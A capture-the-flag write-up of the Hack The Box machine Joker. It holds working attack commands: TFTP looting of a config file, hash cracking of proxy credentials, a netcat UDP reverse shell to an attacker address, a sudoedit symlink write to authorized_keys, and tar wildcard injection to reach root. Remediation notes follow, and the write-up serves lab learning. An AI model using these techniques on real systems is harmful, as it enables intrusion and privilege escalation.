Hack The Box - Joker

🎯 Objective

Gain initial access and escalate to root on 10.10.10.21, documenting each step with commands, reasoning, and evidence.

🗺️ Target Snapshot

• Services noticed during recon:
  • OpenSSH
  • HTTP proxy (Squid)
• Key pivot ideas:
  • UDP/TFTP exposure → config loot
  • Squid Basic Auth with NCSA file → crackable hash
  • Authenticated proxy enumeration → web console RCE
  • SSH via sudoedit symlink trick → drop our authorized key
  • Cron + tar wildcard injection (--checkpoint/--checkpoint-action) → root

🔧 Toolkit

• nmap, tftp, dirb/gobuster, Burp Suite, hashcat, nc
• Wordlists: rockyou.txt
• Shell tricks: UDP reverse shell (nc -u), Python os.popen

🔎 Recon

TCP & UDP scans

sudo nmap -A 10.10.10.21
nmap -sC -sV -oA nmap 10.10.10.21
nmap -sU -oA udp 10.10.10.21   # (slow but essential here)

Takeaway: UDP scan reveals services missed by TCP-only. TFTP becomes relevant.

📥 Looting via TFTP

Couldn’t list files (tftp has no dir), but we can pull known paths. From the Squid defaults and standard Linux locations, try fetching config:

tftp 10.10.10.21
tftp> get /etc/squid/squid.conf

Clean comments and empty lines for clarity:

cat squid.conf | grep -v '^\s*#' | grep .

Gold:
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords
Grab the password file:

🔐 Crack Proxy Credentials

Identify hash type ($apr1$ → Apache MD5 NCSA):

• Ref: https://hashcat.net/wiki/doku.php?id=example_hashes
• Mode: -m 1600

hashcat -m 1600 /path/to/passwords rockyou.txt

GPU issues? It still finished fast on CPU for this list:

Creds: kalamari : ihateseafood

🌐 Enumerate Through the Proxy

Configure Burp Upstream Proxy with auth, or use dirb through Squid:

dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood

If Burp upstream config is finicky, keep dirb as a backup:

Findings include a link shortener and a web console:

Open console UI:

💥 Initial Foothold — Web Console RCE

Test simple commands first; when blocked, try a UDP reverse shell via Python:

Listener:

nc -u -lvnp 8083

Payload (via console):

os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc -u 10.10.16.40 8083 >/tmp/f").read()

🔑 SSH Access via sudoedit Symlink Trick

We discover edit rights via sudoedit under controlled paths. Create a symlink so editing a harmless path actually edits a sensitive file:

# On target
mkdir -p /var/www/testing/dir
cd /var/www/testing/dir
ln -s /home/alekos/authorized_keys ./layout.html

# Use sudoedit to "edit" layout.html (really edits authorized_keys)
sudoedit -u alekos /var/www/testing/dir/layout.html
# Paste your SSH public key; save & exit.

# From attacker, log in:
ssh -i id_rsa alekos@10.10.10.21

Generate a key on your box if needed:

Proof of SSH access:

⬆️ Privilege Escalation — tar Wildcard Injection

A cron job packs /var/www/testing via tar every ~5 minutes, likely using a wildcard. Abuse GNU tar’s option injection by creating files that look like CLI flags:

Create in /var/www/testing:

echo 1 > --checkpoint=1
echo 'sh shell.sh' > action.txt
echo '#!/bin/sh
cat /root/root.txt > /home/alekos/pass.txt
chmod 644 /home/alekos/pass.txt' > shell.sh
chmod +x shell.sh

# The magic flag for tar:
echo '--checkpoint-action=exec=sh shell.sh' > --checkpoint-action=exec=sh\ shell.sh

Wait for cron to fire (~3–5 min). The injected flags cause tar to execute shell.sh during checkpoint.

Result: root flag appears in user home.

In the original run, two files named like flags were created: --checkout=1 and --checkout=exec=sh shell.sh (typo for --checkpoint). Both styles demonstrate the same wildcard option injection idea against tar.

✅ Results

• Proxy creds cracked: kalamari / ihateseafood
• Proxy enumeration → discovered console → UDP shell
• SSH access via sudoedit symlink → dropped authorized_keys
• Root via cron + tar wildcard option injection → root flag exfil

🧠 Lessons Learned

• Run UDP scans when TCP looks barren; TFTP and other services hide there.
• Configs reveal auth backends (NCSA files) → often crackable.
• Squid as a proxy pivot: learn dirb -p and Burp Upstream Proxy well.
• sudoedit misconfig + symlinks = controlled file write to sensitive targets.
• tar + wildcards can be lethal; checkpoint action is a classic cron gotcha.

🛡️ Remediation Notes

• Disable/limit TFTP; if required, chroot and whitelist paths.
• Tighten Squid:
  • Use least-privilege auth backends.
  • Rate-limit and monitor auth failures.
  • Avoid storing passwords with weak hash schemes.
• Do not allow sudoedit on globbed paths; prohibit editing via wildcards and follow-symlinks.
• For cron jobs calling tar:
  • Use -- to terminate options, no wildcards from untrusted dirs.
  • Use absolute allowlists and safe working directories.
  • Drop privileges and sanitize environment.
• Centralize logs/alerts around unusual file names like --checkpoint-action=*.

🖼️ Screenshot Rollup (as used above)

🏷 Tags

HTB, Squid, TFTP, Proxy Auth, Sudoedit, Tar Wildcard